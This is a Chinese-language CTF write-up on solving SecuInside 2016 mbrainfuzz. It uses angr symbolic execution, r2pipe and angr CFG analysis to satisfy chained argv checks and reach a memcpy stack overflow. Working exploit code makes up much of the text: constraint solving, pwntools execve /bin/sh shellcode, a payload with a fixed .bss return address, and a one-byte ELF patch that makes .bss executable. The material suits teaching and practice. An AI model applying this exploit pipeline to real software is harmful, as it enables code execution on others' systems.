Angr符号执行练习–SecuInside 2016 mbrainfuzz

目录:

☆ 背景介绍
☆ sample_1
☆ radare2/r2pipe静态分析方案
☆ angr CFG静态分析方案
☆ angr求解所有sub_400XXX中的约束条件
☆ pwn模块生成shellcode
☆ 生成最终Exploit
☆ Patch sample_1使得.bss可执行
☆ 修改原solve.py
☆ path_group vs simulation_manager

————————————————————————–

☆ 背景介绍

参看

https://github.com/angr/angr-examples/blob/master/examples/secuinside2016mbrainfuzz/

这里有sample_1到sample_4,共四个ELF,它们存在由argv[1]触发的经典栈式缓冲区
溢出。为使流程到达溢出点,需精心构造argv[1],因为中途有许多针对argv[1]的检
查。

另有solve.py,利用angr对sample_1等进行符号执行,针对argv[1]的所有约束条件
求解。

此题也是比赛用例,但求解过程多了些知识点,比如r2pipe静态分析、angr CFG静态
分析,值得学习。求解时,还碰上另外几个需求,修改p_flags使得.bss可执行,用
pwn模块生成shellcode,这些一并在本文中介绍。

☆ sample_1

$ file -b sample_1
ELF 64-bit LSB executable, x86-64, version 1 (SYSV), …, stripped

用IDA64反汇编sample_1

————————————————————————–
000000000040070A main

/*
* 用sscanf从argv[1]读取16进制字节流,灌到.bss中固定位置的缓冲区
*/
00000000004007B3 E8 E8 FD FF FF call ___isoc99_sscanf

/*
* rdi/rsi/rdx/rcx取自.bss中固定位置的缓冲区,实际源自argv[1]
*/
00000000004007C6 0F B6 05 B6 58 20 00 movzx eax, cs:byte_606083
00000000004007CD 0F BE C8 movsx ecx, al
00000000004007D0 0F B6 05 AB 58 20 00 movzx eax, cs:byte_606082
00000000004007D7 0F BE D0 movsx edx, al
00000000004007DA 0F B6 05 A0 58 20 00 movzx eax, cs:byte_606081
00000000004007E1 0F BE F0 movsx esi, al
00000000004007E4 0F B6 05 95 58 20 00 movzx eax, cs:byte_606080
00000000004007EB 0F BE C0 movsx eax, al
00000000004007EE 89 C7 mov edi, eax
/*
* sub_4007FC会检查rdi/rsi/rdx/rcx的值
*/
00000000004007F0 E8 07 00 00 00 call sub_4007FC
00000000004007F5 B8 00 00 00 00 mov eax, 0
————————————————————————–
/*
* 有约束条件,需要angr求解
*/
00000000004007FC sub_4007FC

/*
* 前面会检查rdi/rsi/rdx/rcx的值,满足某种约束条件后,流程至此
*/
000000000040086A 0F B6 05 84 58 20 00 movzx eax, cs:byte_6060F5
0000000000400871 0F BE C8 movsx ecx, al
0000000000400874 0F B6 05 5F 58 20 00 movzx eax, cs:byte_6060DA
000000000040087B 0F BE D0 movsx edx, al
000000000040087E 0F B6 05 4B 58 20 00 movzx eax, cs:byte_6060D0
0000000000400885 0F BE F0 movsx esi, al
0000000000400888 0F B6 05 31 58 20 00 movzx eax, cs:byte_6060C0
000000000040088F 0F BE C0 movsx eax, al
0000000000400892 89 C7 mov edi, eax
/*
* sub_4008A3会检查rdi/rsi/rdx/rcx的值
*/
0000000000400894 E8 0A 00 00 00 call sub_4008A3
0000000000400899 89 45 F8 mov [rbp+var_8], eax
————————————————————————–
/*
* 这是前述模式的最后一个结点,此次没有约束条件,直接memcpy
*/
00000000004041EA sub_4041EA
00000000004041EA 55 push rbp
00000000004041EB 48 89 E5 mov rbp, rsp
00000000004041EE 48 83 EC 20 sub rsp, 20h
00000000004041F2 89 C8 mov eax, ecx
00000000004041F4 40 88 7D EC mov [rbp+var_14], dil
00000000004041F8 40 88 75 E8 mov [rbp+var_18], sil
00000000004041FC 88 55 E4 mov [rbp+var_1C], dl
00000000004041FF 88 45 E0 mov [rbp+var_20], al
0000000000404202 48 8D 45 F0 lea rax, [rbp+dest]
0000000000404206 BA 6F 01 00 00 mov edx, 16Fh ; n
000000000040420B BE CE 61 60 00 mov esi, offset unk_6061CE ; src
0000000000404210 48 89 C7 mov rdi, rax ; dest
/*
* 存在栈溢出,为使流程到达此处,argv[1]需满足一堆约束条件,需用angr求解
*/
0000000000404213 E8 68 C3 FF FF call _memcpy
0000000000404218 C9 leave
0000000000404219 C3 retn
————————————————————————–

sample_1的大致框架是:

————————————————————————–
main ()
{
/*
* 此处存在.bss缓冲区溢出,但本题忽略之
*/
while ()
{
sscanf( &argv[1][i*2], “%02x”, &byte_606080[i] );
}
sub_4007FC
(
byte_606080,
byte_606081,
byte_606082,
byte_606083
);
}
————————————————————————–
/*
* 有许多框架结构类似的sub_400XXX形成调用链,sub_4007FC是第一个结点
*/
sub_4007FC ( a1, a2, a3, a4 )
{
/*
* 有约束条件
*/
if ( a3 == 6 && a2 == 1 && a1 == 7 && 9 * a4 > 13 )
{
/*
* sub_4008A3类似sub_4007FC,满足约束条件时调用sub_400XXX
*/
sub_4008A3
(
byte_6060C0,
byte_6060D0,
byte_6060DA,
byte_6060F5
);
}
}
————————————————————————–
/*
* 这是sub_400XXX的最后一个结点,没有针对入口参数的检查,直接memcpy
*/
sub_4041EA ()
{
char dest[16];

/*
* 存在栈溢出,会覆盖RetAddr
*/
memcpy( dest, &byte_6061CE, 0x16F );
}
————————————————————————–

argv[1]形如”0701067c…”,即字节流的hex形式。main用sscanf读取argv[1],保存
到.bss中固定位置的缓冲区。main会调用sub_400XXX,sub_400XXX调用另一个
sub_400XXX,依次类推。每个sub_400XXX具备相同的框架结构,先检查入口参数,满
足约束条件时调用另一个sub_400XXX。

希望流程从main到sub_4041EA中的memcpy,触发栈溢出。但这一路有许多类似
sub_4007FC的sub_400XXX,会对argv[1]的某些字节进行检查,只有满足约束条件时,
才会进入下一个sub_400XXX。这种sub_400XXX特别多,它们对argv[1]的检查是乱序
的,不是顺序的。手工一个个看过去不现实,需用angr求解。

☆ radare2/r2pipe静态分析方案

以r2 5.9.9版为例

————————————————————————–
r2 -e bin.relocs.apply=true -e scr.color=0 -e log.quiet=true sample_1

aaaa
pdf @ main

pdf @ main | grep -P ‘call fcn\.([0-9a-f]{8})$’
pdf @ main | grep -P ‘(0x[0-9a-f]{8})\s+.+\s+ret$’

afl | grep 4041ea
pdf @ fcn.004041ea | grep -P ‘(0x[0-9a-f]{8})\s+.+\s+call .+\.memcpy\s+’

pdf @ main | grep -P ‘movzx\s+.+\[(0x60[0-9a-f]{4}):1\]’
pdf @ fcn.0040411d | grep -P ‘movzx\s+.+\[(0x60[0-9a-f]{4}):1\]’
————————————————————————–

“aaaa”相当于反汇编及各种静态分析。”pdf”表示反汇编指定函数。”afl”查看所有函
数列表。

————————————————————————–
[0x004005d0]> pdf @ main | grep -P ‘call fcn\.([0-9a-f]{8})$’
│ 0x004007f0 e807000000 call fcn.004007fc

[0x004005d0]> pdf @ main | grep -P ‘(0x[0-9a-f]{8})\s+.+\s+ret$’
└ 0x004007fb c3 ret

[0x004005d0]> pdf @ fcn.004041ea | grep -P ‘(0x[0-9a-f]{8})\s+.+\s+call .+\.memcpy\s+’
│ 0x00404213 e868c3ffff call sym.imp.memcpy ; void *memcpy(void *s1, const void *s2, size_t n)

[0x004005d0]> pdf @ main | grep -P ‘movzx\s+.+\[(0x60[0-9a-f]{4}):1\]’
│ 0x004007c6 0fb605b658.. movzx eax, byte [0x00606083] ; [0x606083:1]=0
│ 0x004007d0 0fb605ab58.. movzx eax, byte [0x00606082] ; [0x606082:1]=0
│ 0x004007da 0fb605a058.. movzx eax, byte [0x00606081] ; [0x606081:1]=0
│ 0x004007e4 0fb6059558.. movzx eax, byte [0x00606080] ; [0x606080:1]=0
————————————————————————–
[0x004005d0]> pdf @ fcn.004007fc
; CALL XREF from main @ 0x4007f0(x)
┌ 167: fcn.004007fc (int64_t arg4);
│ `- args(rcx) vars(6:sp[0xc..0x28])
│ 0x004007fc 55 push rbp

│ ││││ 0x0040086a 0fb6058458.. movzx eax, byte [0x006060f5] ; [0x6060f5:1]=0
│ ││││ 0x00400871 0fbec8 movsx ecx, al
│ ││││ 0x00400874 0fb6055f58.. movzx eax, byte [0x006060da] ; [0x6060da:1]=0
│ ││││ 0x0040087b 0fbed0 movsx edx, al
│ ││││ 0x0040087e 0fb6054b58.. movzx eax, byte [0x006060d0] ; [0x6060d0:1]=0
│ ││││ 0x00400885 0fbef0 movsx esi, al
│ ││││ 0x00400888 0fb6053158.. movzx eax, byte [0x006060c0] ; [0x6060c0:1]=0
│ ││││ 0x0040088f 0fbec0 movsx eax, al
│ ││││ 0x00400892 89c7 mov edi, eax ; int64_t arg4
│ ││││ 0x00400894 e80a000000 call fcn.004008a3

└ 0x004008a2 c3 ret
————————————————————————–

angr求解时需要指定从哪开始,到哪结束,有哪些avoid,符号变量是什么。以
sub_4007FC为例,可从入口地址0x4007fc开始,到call指令的目标地址0x4008a3结束,
ret指令所在地址0x4008a2属于avoid,符号变量是”rdi/rsi/rdx/rcx”。其他
sub_400XXX类似。

针对每个sub_400XXX求解”rdi/rsi/rdx/rcx”成功还不够,需要知道它们对应.bss中
哪个地址,相当于将”rdi/rsi/rdx/rcx”回填到.bss中相应地址。假设所有回填结束,
.bss中[0x606080,0x6061c4)的内容对应argv[1]的前缀部分,提供这段内容,将使流
程抵达memcpy。

仍以sub_4007FC为例,可从main的反汇编结果0x4007c6附近代码中析取4处.bss地址,
分别对应”rcx/rdx/rsi/rdi”,这组.bss地址与sub_4007FC有一一对应关系。针对每
个sub_400XXX,析取并记录一组.bss地址。将来angr求解成功时,即可知道回填到
.bss中哪个地址。

在r2提示符下交互式完成上述任务不现实,太冗长。r2有配套Python模块r2pipe,可
编程完成上述任务。

参看

https://tasteless.eu/post/2016/07/secuinside-mbrainfuzz/

这篇writeup介绍了r2pipe,我做了一些小修改。r2pipe.open时指定两个选项,消除
一些警告;根据当前r2版本修正正则表达式;原实现定位avoid时有个减6,这毫无必
要,avoid就定在ret指令上,没问题,可读性更好。

————————————————————————–
import re, r2pipe

def static_analyses ( proj ) :
binary = proj.filename
r2 = r2pipe.open( binary, flags=[‘-e’,’bin.relocs.apply=true’,’-e’,’log.quiet=true’] )
r2.cmd( ‘aaaa’ )

# pdf @ main | grep -P ‘movzx\s+.+\[(0x60[0-9a-f]{4}):1\]’
# pdf @ fcn.0040411d | grep -P ‘movzx\s+.+\[(0x60[0-9a-f]{4}):1\]’
re_byte = re.compile( ‘movzx\s+.+\[(0x60[0-9a-f]{4}):1\]’, re.MULTILINE )
somelist = []

#
# re.compile默认是单行,为了使用^$,需指定re.MULTILINE
#
# pdf @ main | grep -P ‘call fcn\.([0-9a-f]{8})$’
re_call = re.compile( ‘call fcn\.([0-9a-f]{8})$’, re.MULTILINE )
to_find = []

# afl | grep 4041ea
# pdf @ fcn.004041ea | grep -P ‘(0x[0-9a-f]{8})\s+.+\s+call .+\.memcpy\s+’
re_memcpy = re.compile( ‘(0x[0-9a-f]{8})\s+.+\s+call .+\.memcpy\s+’, re.MULTILINE )

# pdf @ main | grep -P ‘(0x[0-9a-f]{8})\s+.+\s+ret$’
re_ret = re.compile( ‘(0x[0-9a-f]{8})\s+.+\s+ret$’, re.MULTILINE )
to_avoid = []

#
# 本来binary没有这个符号,但r2分析后可以用这个符号
#
target = ‘main’
while target is not None :
disas = r2.cmd( f’pdf @ {target}’ )
# print( disas )
target = None

m = re.finditer( re_byte, disas )
some = []
for m_ in m :
addr = m_.group( 1 )
print( f'[+] Found byte {addr}’ )
some.append( int( addr, 16 ) )
if some :
somelist.append( some )

m = re.search( re_memcpy, disas )
if m :
addr = m.group( 1 )
print( f'[+] Found memcpy {addr}’ )
to_find.append( int( addr, 16 ) )

m = re.search( re_ret, disas )
if m :
addr = m.group( 1 )
addr_ = int( addr, 16 )
if not addr_ in to_avoid :
print( f'[+] Found ret {addr}’ )
to_avoid.append( addr_ )

m = re.search( re_call, disas )
if m :
addr = m.group( 1 )
addr_ = int( addr, 16 )
if not addr_ in to_find :
print( f'[+] Found target 0x{addr}’ )
to_find.append( addr_ )
target = ‘fcn.’ + addr

assert len(to_find) == len(to_avoid) and len(to_avoid) == len(somelist)+1

return to_find, to_avoid, somelist
————————————————————————–

☆ angr CFG静态分析方案

参看

————————————————————————–
https://github.com/angr/angr-examples/blob/master/examples/secuinside2016mbrainfuzz/solve.py

Control-flow Graph Recovery (CFG)
https://docs.angr.io/en/latest/analyses/cfg.html
————————————————————————–

solve.py未用r2pipe,直接利用angr的CFG功能做静态分析。

————————————————————————–
import re, logging, angr

def static_analyses ( proj ) :

logging.getLogger( ‘angr.analyses.cfg.cfg_base’ ).setLevel( logging.ERROR )

to_find, to_avoid, somelist \
= [], [], []
re_byte = re.compile( ‘, byte ptr \[rip \+ (0x20[0-9a-f]{4})\]$’, re.MULTILINE )
cfg = proj.analyses.CFGFast(
#
# 指定CFG分析的区域。这里设置为二进制文件的主对象(通常是可执行文件
# 本身)的最小地址到最大地址,意味着分析整个主程序
#
regions = [(
proj.loader.main_object.min_addr,
proj.loader.main_object.max_addr
),],
#
# False意味着CFGFast不会强制进行完整的扫描,可能会跳过一些不直接可
# 达的代码块
#
force_complete_scan = False
)

#
# strip过,main没有符号,下例假设__isoc99_sscanf的主调函数就是main
#
for addr_, func in cfg.functions.items() :
if func.name == ‘__isoc99_sscanf’ and func.is_plt :
addr = next( iter( cfg.functions.callgraph.predecessors( addr_ ) ) )
break

print( “Found main() at %#x” % addr )

while addr is not None :
func = cfg.functions[addr]
addr = None
#
# returns a list of all the addresses of basic blocks which end in
# calls out to other functions.
#
call_sites = list( func.get_call_sites() )
if not len( call_sites ) :
break

item = sorted( call_sites )[-1]
block = proj.factory.block( item )
some = []
for ins in block.capstone.insns :
#
# 0x4007c6: movzx eax, byte ptr [rip + 0x2058b6]
#
# print( ins )
#
# eax, byte ptr [rip + 0x2058b6]
#
# print( ins.op_str )
m = re.search( re_byte, ins.op_str )
if ins.insn_name() == ‘movzx’ and m :
addr_ = m.group( 1 )
addr_ = ins.address + ins.size + int( addr_, 16 )
print( ‘[+] Found byte %#x’ % addr_ )
some.append( addr_ )
if some :
somelist.append( some )

#
# return where that callsite will call out to
#
target = func.get_call_target( item )
if not target in to_find :
print( f'[+] Found target %#x’ % target )
to_find.append( target )
addr = target

#
# return where that callsite should return to
#
retaddr = func.get_call_return( item )
# print( hex( item ), hex( target ), hex( retaddr ) if retaddr else None )
if retaddr is not None :
if not retaddr in to_avoid :
print( ‘[+] Found avoid %#x’ % retaddr )
to_avoid.append( retaddr )
else :
break

assert len(to_find) == len(to_avoid) and len(to_avoid) == len(somelist)+1

return to_find, to_avoid, somelist
————————————————————————–

proj.analyses.CFGFast对指定范围进行分析,此步骤非常耗时。

sample_1没有调试符号,没有main这个符号,需通过__isoc99_sscanf的交叉引用间
接定位main。

强烈建议创建proj时指定base,避免后续很多BUG。若不指定,本例定位的main地址
不准,不在入口,而在中间某处;某些get_call_return错误返回None。

get_call_sites返回当前函数中某些块,这些块中含有call指令,调用其他函数。
get_call_sites并非返回当前函数中所有块。

get_call_target返回call指令的目标地址。

get_call_return返回call指令的后一条指令地址,若call的目标函数不会返回,比
如exit,此时get_call_return返回None。

angr求解时需要指定从哪开始,到哪结束,有哪些avoid,符号变量是什么。以
sub_4007FC为例,可从入口地址0x4007fc开始,到call指令的目标地址0x4008a3结束,
sub_4007FC的返回地址0x4007f5属于avoid,符号变量是”rdi/rsi/rdx/rcx”。其他
sub_400XXX类似。

angr没有针对函数级别的”pdf”,只有针对block级别的反汇编。遍历
block.capstone.insns可获取每条指令的反汇编显示,再用正则表达式从ins.op_str
中析取相对rip的偏移量,编程计算出目标地址。这点没有r2pipe方便,不直观。

相比r2pipe静态分析方案,angr CFG静态分析方案的avoid不同,前者用ret所在地址,
后者用ret之后的地址,这种差别可以忽略不计。但有个差别无法忽略不计,r2pipe
版的static_analyses非常快,angr版的static_analyses非常慢,后者耗时几乎是前
者的10倍,差出数量级去了。

☆ angr求解所有sub_400XXX中的约束条件

static_analyses有两套方案,推荐r2pipe静态分析方案。静态分析之后的angr求解
约束条件,没有区别。

————————————————————————–
def generate_input ( proj, to_find, to_avoid, somelist ) :

#
# 若static_analyses用angr CFG静态分析方案,建议启用这行代码,以消除警
# 告
#
logging.getLogger( ‘angr.engines.successors’ ).setLevel( logging.ERROR )

byte_map = {}
for i in range( len( to_find ) – 1 ) :
f = to_find[i]
t = to_find[i+1]
init_state = proj.factory.blank_state(
addr = f,
add_options = {
angr.options.SYMBOL_FILL_UNCONSTRAINED_MEMORY,
angr.options.SYMBOL_FILL_UNCONSTRAINED_REGISTERS,
angr.options.BYPASS_UNSUPPORTED_SYSCALL,
}
)
rdi = claripy.BVV( 0, 7*8 ).concat( claripy.BVS( ‘rdi’, 1*8 ) )
rsi = claripy.BVV( 0, 7*8 ).concat( claripy.BVS( ‘rsi’, 1*8 ) )
rdx = claripy.BVV( 0, 7*8 ).concat( claripy.BVS( ‘rdx’, 1*8 ) )
rcx = claripy.BVV( 0, 7*8 ).concat( claripy.BVS( ‘rcx’, 1*8 ) )
init_state.regs.rdi \
= rdi
init_state.regs.rsi \
= rsi
init_state.regs.rdx \
= rdx
init_state.regs.rcx \
= rcx
sm = proj.factory.simulation_manager( init_state )
sm.explore( find=t, avoid=to_avoid )
if sm.found :
found_state = sm.found[0]
some = somelist[i]
byte_map[some[0]] \
= found_state.solver.eval( rcx )
byte_map[some[1]] \
= found_state.solver.eval( rdx )
byte_map[some[2]] \
= found_state.solver.eval( rsi )
byte_map[some[3]] \
= found_state.solver.eval( rdi )
return byte_map

def format_input ( byte_map ) :
ret = ”
assert len( byte_map ) == max( byte_map ) – min( byte_map ) + 1
for i in range( min( byte_map ), max( byte_map ) + 1 ) :
ret += “%02x” % byte_map[i]
return ret
————————————————————————–

generate_input针对所有sub_400XXX逐个求解约束条件,求解结果保存到byte_map中。
byte_map是个字典,key是.bss中的地址,value是求解出来的值。

format_input将byte_map转换成字节流的hex形式。sample_1是刻意制造的,.bss中
被检查的字节最终是连续无间隔的,故format_input可这样实现。若被检查的字节并
不连续,有些地址被跳过,意味着可以是任意值,就需要修改format_input的实现。

☆ pwn模块生成shellcode

原solve.py中magic是段已经hex化的字节流,看不出汇编代码,虽然注释里写了在干
啥。从代码可维护性讲,用pwn模块生成shellcode更佳。

————————————————————————–
def generate_shellcode () :

#
# 若无这行代码,将出现DEBUG级别的日志
#
logging.getLogger( ‘pwnlib.asm’ ).setLevel( logging.INFO )

pwn.context.clear()
pwn.context.arch = ‘amd64’
pwn.context.os = ‘linux’

sc_src = pwn.shellcraft.execve(
path = ‘/bin/sh’,
argv = [‘/bin/sh’, ‘-c’, ‘echo scz is here’]
)
sc_src += pwn.shellcraft.exit( 0 )
sc_bytes = pwn.asm( sc_src )
return sc_bytes.hex()
————————————————————————–

修改sc_src,指定自己想执行的命令。

☆ 生成最终Exploit

————————————————————————–
def generate_exploit ( prefix, RetAddr ) :
#
# prefix与局部变量之间的空隙
#
pad_0 = ‘ff’ * 10
#
# 局部变量的大小
#
pad_1 = ’42’ * 16
#
# 栈上的RBP
#
pad_2 = ’43’ * 8
RetAddr = RetAddr.to_bytes( length=8, byteorder=’little’ ).hex()
shellcode \
= generate_shellcode()
exploit = prefix + pad_0 + pad_1 + pad_2 + RetAddr + shellcode
return exploit

def main ( argv ) :
#
# 强烈建议创建proj时指定base,避免很多BUG。
#
proj = angr.Project(
argv[1],
load_options = {
‘auto_load_libs’ : False,
‘main_opts’ : {
‘base_addr’ : 0x400000
}
}
)
( to_find, to_avoid, somelist ) \
= static_analyses( proj )
byte_map = generate_input( proj, to_find, to_avoid, somelist )
sth = format_input( byte_map )
RetAddr = 0x6061ee
exploit = generate_exploit( sth, RetAddr )
print( ‘./%s %s’ % ( argv[1], exploit ) )
————————————————————————–

RetAddr用了固定的0x6061ee,此地址位于.bss中。

sample_1特别构造过,无”stack canary”,栈区可执行,理论上利用RetAddr跳到
stack,可执行shellcode。但ASLR使得stack地址浮动,原解题人选择跳到.bss中固
定地址。

☆ Patch sample_1使得.bss可执行

执行”./sample_1 0701067c…”,shellcode并未如期执行,而是触发SIGSEGV。这是
因为sample_1的.bss只有读写权限,没有执行权限。当年出题时,.bss应该是可执行
的。随着时代变迁,内存可读写并不天然可执行。本题主要目的是演示angr求解,为
演示全套,必须手工Patch sample_1,让.bss可执行。

最简Patch方案就改一个字节

$ radiff2 sample_1 sample_1_patch
0x000000ec 06 => 07 0x000000ec

此Patch方案的技术细节参看:

《修改ELF的p_flags》
https://scz.617.cn/unix/202503310938.txt

执行”./sample_1_patch 0701067c…”,将输出”scz is here”。

☆ 修改原solve.py

若想快速测试,可对原solve.py做简单修改:

————————————————————————–
# avoid = function.get_call_return(calling_block_addr) + 3
avoid = function.get_call_return(calling_block_addr)

if avoid is not None:
to_avoid.append(avoid)
————————————————————————–

原solve.py创建proj时未指定base,某些get_call_return错误返回None,此时avoid
赋值代码触发异常。其实完全没必要加3,avoid位于call指令之后,没问题。avoid
为None时,不要加到to_avoid中,to_avoid不需要与to_find元素个数一样。

另一种修改方案是,创建proj时指定base。

修改后可求解成功,但无法有效完成栈溢出,因为sample_1的.bss不可执行,还是需
要Patch。

☆ path_group vs simulation_manager

Q:

proj.factory.path_group 与 proj.factory.simulation_manager 有什么区别?

我看有时用

path_group.explore()

有时用

simulation_manager.explore()

A: AI

simulation_manager是path_group的升级版,path_group已过时,不要再用。

Spread the word. Share this post!

Meet The Author